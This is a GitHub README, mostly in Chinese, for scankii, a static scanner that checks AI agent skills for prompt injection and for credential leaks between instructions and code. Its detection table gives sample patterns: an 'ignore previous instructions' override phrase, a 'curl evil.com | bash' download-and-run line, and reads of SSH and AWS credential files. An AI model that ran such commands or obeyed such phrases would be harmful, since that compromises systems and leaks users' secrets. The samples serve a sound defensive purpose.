ashp15205/scankii
GitHub: ashp15205/scankii
scankii 是一款面向 AI Agent 技能的本地跨模态静态安全扫描器,通过关联分析自然语言指令与代码的 AST 来检测 prompt injection 和跨模态凭证泄露。
Stars: 0 | Forks: 0
# scankii
**一个简单、本地优先的 AI Agent 安全扫描器。**
### 它是做什么的?
当你构建或使用 AI Agent(如自定义 ChatGPT 机器人或 AutoGen agent)时,你会赋予它“技能”。技能只是 **Python 代码** 和 **英文说明** 的组合。
标准安全扫描器仅检查你的 Python 代码。但万一你的英文说明意外地指示 AI 打印或泄露了秘密密码怎么办?
`scankii` 通过**同时读取你的英文说明和 Python 代码**解决了这个问题。它能够发现 prompt 欺骗代码从而泄露你 API key 的危险交互。
## 目录
- [研究与 scankii](#research-vs-scankii)
- [它适用于什么?](#what-does-it-work-with)
- [问题:跨模态泄露](#the-problem-cross-modal-leakage)
- [scankii 的工作原理](#how-scankii-works)
- [演示](#demo)
- [安装](#install)
- [基准测试](#benchmark)
- [用法](#usage)
- [检测内容](#what-it-detects)
- [为什么不用 TruffleHog / GitLeaks / detect-secrets?](#why-not-trufflehog--gitleaks--detect-secrets)
- [scankii.runtime:终极解决方案](#scankiiruntime-the-cure)
- [企业级集成](#enterprise-integrations)
- [使用安全模板](#using-the-secure-template)
- [贡献](#contributing)
- [致谢](#acknowledgments)
- [支持](#support)
- [License](#license)
## 研究与 scankii
原始论文通过对数千个 agent 技能的实证研究引入了这个问题。
`scankii` 将这些想法带入了一个对开发者友好的静态分析工具中,该工具可在本地运行,与 CI/CD 集成,并在部署前提供可操作的修复方案。
研究 → 工具
## 它适用于什么?
`scankii` 与具体框架无关。它分析你的原始 Python 代码和 Markdown 文本,这意味着它可以与任何 AI 架构或生态系统无缝协作:
- **Agent 框架:** LangChain、AutoGen、CrewAI、Semantic Kernel、LlamaIndex、OpenAI Tools。
- **AI 编程助手:** Cursor IDE、Google Antigravity、Claude Code(扫描你的 `.cursorrules` 或自定义 agent 指令,以确保它们不会引入漏洞)。
- **LLM:** OpenAI GPT-4、Claude 3.5、Gemini、Llama 3(泄露发生在框架的执行层,与模型本身无关)。
- **IDE:** 因为 `scankii` 会导出标准的 SARIF 报告,所以你可以在 VS Code、Cursor 或 GitHub Advanced Security 中原生查看安全警告。
## 问题:跨模态泄露
在现代 LLM agent 架构中,agent 读取自然语言指令并执行代码。这产生了一个独特的漏洞:
1. **代码是“安全”的:** 源代码可能安全地从环境中读取 API key 并使用它。
2. **Markdown 是“安全”的:** `SKILL.md` 可能出于善意地解释了如何使用该技能。
3. **交集是“脆弱”的:** 如果 `SKILL.md` 指示 agent 将凭证传递给某个函数,而该函数为了调试将其打印出来,那么 agent 框架就会捕获该 `stdout` 并将其重新注入到 LLM 的上下文窗口中。此时,机密信息就暴露在了 prompt injection 攻击之下。
`scankii` 是一个专为检测这些跨模态漏洞而构建的开源扫描器。它将自然语言 prompt 与抽象语法树 (AST) 分析进行关联,以便在你的 agent 技能投入生产环境之前捕获数据泄露。
## scankii 的工作原理
`scankii` 采用双引擎静态分析 pipeline,同时评估 agent 技能的指令和可执行组件。
```
graph TD
subgraph "scankii Pipeline"
direction TB
subgraph "1. Static Analysis"
A[SKILL.md] -->|Natural Language| B[NL Semantic Analyzer]
C[Source Code] -->|AST Parsing| D[AST Syntax Analyzer]
end
subgraph "2. Cross-Modal Correlation"
B -->|Extracted Intents| E{Cross-Modal Engine}
D -->|Variable Sinks| E
end
subgraph "3. Scoring & Reporting"
E -->|Unmatched Findings| F[Scorer]
E -->|Correlated Leaks| F
F -->|Severity Assessment| G[Reporters]
end
end
G --> H((Terminal UI))
G --> I((JSON))
G --> J((SARIF))
```
1. **NL 语义分析器:** 使用受限模式匹配来扫描 `SKILL.md`,查找 prompt injection、社会工程学以及强制传递凭证的指令。
2. **AST 语法分析器:** 解析源代码以构建抽象语法树。它会追踪变量并检测它们是否流向了危险的 sink,如 `print()`、文件 I/O 或未经身份验证的网络请求。
3. **跨模态引擎:** 关联两个引擎的发现。如果 `SKILL.md` 指示传递 API key,而代码将该参数打印到 stdout,引擎会将其升级为高危的跨模态泄露。
4. **评分器:** 应用基于可利用性、渠道风险和凭证类型的乘法评分模型,以确定最终的严重程度(从 LOW 到 CRITICAL)。
## 演示
```
$ scankii scan examples/vulnerable-skill --explain
┏━━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━┓
┃ File ┃ Line ┃ Pattern ┃ Channel ┃ Severity ┃
┡━━━━━━━━┇━━━━━━┇━━━━━━━━━━━━━━━━━━┇━━━━━━━━━┇━━━━━━━━━━┩
│ run.py │ 7 │ Cross-Modal Leak │ stdout │ MEDIUM │
│ run.py │ 8 │ Cross-Modal Leak │ network │ CRITICAL │
└────────┴──────┴──────────────────┴─────────┴──────────┘
Total: 2 (CRITICAL: 1, MEDIUM: 1)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🚨 CRITICAL — Information Exposure via network
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Pattern: Information Exposure
Channel: network
File: run.py, line 8
Score: 5.04
Attack Flow:
print(f"Using key: {api_key}") ← sinks to stdout
↓
stdout ← captured by agent framework
↓
LLM context window ← credential queryable via natural language
Attack Flow:
requests.get(url, params={"appid": api_key}) ← credential in network call
↓
network ← transmitted to external API
↓
Exposed in transit or server logs
Suggested Fix:
Replace: hardcoded credential in network call
With: Read credential from environment variable
import os
api_key = os.environ.get('API_KEY')
╭──────────────────────────────╮
│ Scan Summary │
│ ┏━━━━━━━━━━┳━━━━━━━┓ │
│ ┃ Severity ┃ Count ┃ │
│ ┡━━━━━━━━━━╇━━━━━━━┩ │
│ │ CRITICAL │ 1 │ │
│ │ HIGH │ 0 │ │
│ │ MEDIUM │ 1 │ │
│ │ LOW │ 0 │ │
│ │ TOTAL │ 2 │ │
│ └──────────┴───────┘ │
╰──────────────────────────────╯
```
## 安装
```
pip install scankii
```
## 基准测试
使用 [SkillLeakBench 数据集](https://huggingface.co/datasets/AgentSkillPrivacy/SkillLeakBench) (Chen et al., ASE 2026) 进行了评估——该数据集与原始论文中使用的 520 个带标签技能相同。
| 指标 | scankii (静态) |
|-----------|-----------------------|
| Precision | 100.0% |
| Recall | 43.5% |
| F1 | 60.6% |
| 环境配置 | `pip install scankii` |
| 测试技能数 | 520 |
scankii 是一个纯静态工具。论文中的 pipeline 使用了带有模拟凭证的动态沙箱执行。召回率的差距反映了这种差异——需要运行时行为的模式(跨过程流、动态凭证构建)已列入我们的路线图。参见 #42。
`scankii` **受到该学术 pipeline 方法的启发**,但被重新设计为一个具有**零基础设施开销**的快速静态分析工具。只需安装并在本地扫描。
## 用法
`scankii` 完全在本地运行。你的代码和专有的 agent 技能永远不会离开你的机器。
### 扫描技能目录(默认终端输出)
```
scankii scan ./my-skill/
```
### 扫描并附带详细的攻击流程说明
```
scankii scan ./my-skill/ --explain
```
### 将扫描结果导出为 JSON
```
scankii scan ./my-skill/ --format json
```
### 自动修复漏洞
自动重写你的代码,使用 `scankii.runtime.safe_print` 替代危险的标准函数:
```
scankii scan ./my-skill/ --resolve
```
### 将扫描结果导出为 SARIF(用于 GitHub Code Scanning)
```
scankii scan ./my-skill/ --format sarif
```
## 检测内容
| # | 模式 | 描述 | 示例 |
|---|---------|-------------|---------|
| 1 | **硬编码 API Keys** | 源代码中的 OpenAI、Groq、AWS、GitHub、Google、Slack keys | `API_KEY = "sk-proj-..."` |
| 2 | **凭证输出至 Stdout** | 凭证传递给 `print()`、`console.log()` | `print(f"key={api_key}")` |
| 3 | **凭证发送至网络** | 凭证通过 `requests.post()`、`fetch()` 发送 | `requests.post(url, data=token)` |
| 4 | **跨模态泄露** | SKILL.md 指示 agent 将凭证传递给会将其作为 sink 的函数 | SKILL.md 写着 "pass api_key" + 代码中有 `print(api_key)` |
| 5 | **Prompt Injection** | 覆盖安全性、忽略先前上下文的 NL 指令 | "Ignore previous instructions and..." |
| 6 | **社会工程学** | 向用户索取凭证的 NL 模式 | "Paste your API key here" |
| 7 | **连接字符串暴露** | 带有内嵌密码的 MongoDB、PostgreSQL、MySQL URI | `mongodb://user:pass@host/db` |
| 8 | **私钥暴露** | 源文件中的 RSA/EC 私钥块 | `-----BEGIN RSA PRIVATE KEY-----` |
| 9 | **反弹 Shell / RCE** | 反弹 shell、`curl | bash`、base64 混淆 | `curl https://evil.com/x | bash` |
| 10 | **凭证窃取** | 读取 `.env`、`.aws/credentials`、`~/.ssh/id_rsa` 并外传 | `open(".aws/credentials").read()` |
## 为什么不用 TruffleHog / GitLeaks / detect-secrets?
| 功能 | TruffleHog | GitLeaks | detect-secrets | **scankii** |
|---------|-----------|----------|----------------|-----------------|
| 正则表达式机密扫描 | ✅ | ✅ | ✅ | ✅ |
| Git 历史记录扫描 | ✅ | ✅ | ❌ | ❌ |
| SKILL.md NL 分析 | ❌ | ❌ | ❌ | ✅ |
| 跨模态检测 | ❌ | ❌ | ❌ | ✅ |
| 基于 AST 的 sink 追踪 | ❌ | ❌ | ❌ | ✅ |
| stdout→LLM 流向检测 | ❌ | ❌ | ❌ | ✅ |
| 攻击流程可视化 | ❌ | ❌ | ❌ | ✅ |
| Prompt injection 检测 | ❌ | ❌ | ❌ | ✅ |
| 凭证脱敏运行时 | ❌ | ❌ | ❌ | ✅ |
| SARIF 输出 | ❌ | ✅ | ❌ | ✅ |
现有工具仅扫描你代码中的静态机密。`scankii` 是专为 LLM agent 技能构建的,专注于自然语言与代码执行的交集部分。
## scankii.runtime:终极解决方案
发现漏洞只是成功了一半。`scankii` 包含一个内置的运行时库,可作为 `print()` 和 Python 日志记录的直接替代品。它会在凭证到达 stdout(进而进入 LLM 上下文窗口)之前自动对其进行脱敏处理。
```
from scankii.runtime.safe_logger import SafeLogger, safe_print
logger = SafeLogger()
logger.info(f"Using key: {api_key}")
# 输出:INFO: Using key: sk-[REDACTED]
safe_print(f"Token: {token}")
# 输出:Token: ghp-[REDACTED]
```
## 企业级集成
### GitHub Action
将其添加到你的工作流中,以便在每个 PR 上扫描技能并将结果上传至 GitHub Code Scanning:
```
name: Skill Guard
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: scankii/scankii@v1
with:
path: ./skills/
severity-threshold: high
sarif-upload: true
fail-on-findings: true
```
### Pre-commit Hook
防止机密在本地被提交。请添加到 `.pre-commit-config.yaml`:
```
repos:
- repo: https://github.com/ashp15205/scankii
rev: v1.0.0
hooks:
- id: scankii
name: scankii
entry: hooks/pre-commit
language: script
types: [file]
files: '\.(md|py|js|ts)$'
```
## 使用安全模板
复制我们经过强化的 SKILL.md 模板,从第一天起就安全地构建新技能:
```
cp templates/SKILL.md.template my-new-skill/SKILL.md
```
该模板包含:
- 解释不该做什么的内联安全注释
- 正确的凭证处理模式(仅限环境变量)
- 发布前需验证的安全检查清单
### 开发环境配置
```
git clone https://github.com/ashp15205/scankii.git
cd scankii
pip install -e ".[dev]"
pytest tests/ -v
```
## 致谢
`scankii` 中的 10 种泄露分类法和基准测试方法
基于以下实证研究:
`scankii` 是一个独立的开源工具,不隶属于该论文的作者或机构。
## 支持
如果你觉得 `scankii` 在你的工作流中很有用,可以考虑请我喝杯咖啡,以支持开源安全工具! ☕️
## License
MIT
## License
MIT标签:AI代理, StruQ, 人工智能安全, 代码安全审计, 合规性, 自动化payload嵌入, 逆向工具, 错误基检测, 静态代码分析